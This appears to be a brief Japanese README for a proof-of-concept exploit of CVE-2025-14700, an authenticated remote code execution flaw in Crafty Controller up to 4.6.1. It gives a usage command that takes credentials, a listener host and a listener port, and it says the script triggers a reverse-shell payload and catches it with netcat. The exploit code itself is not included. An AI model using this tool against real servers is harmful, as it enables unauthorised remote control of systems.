CVE-2025-14700 POC

Crafty Controller <= 4.6.1 における認証済みRCEの自動エクスプロイト

使用方法 :

./CVE-2025-14700.py --url <crafty_controller_host> --login <username> --password <password> --lhost <listener_host> --lport <listener_port>

このスクリプトは、リバースシェルペイロードをトリガーした後、netcat を使用してリスナーをセットアップします。リスナーマシンに netcat がない場合は機能しません。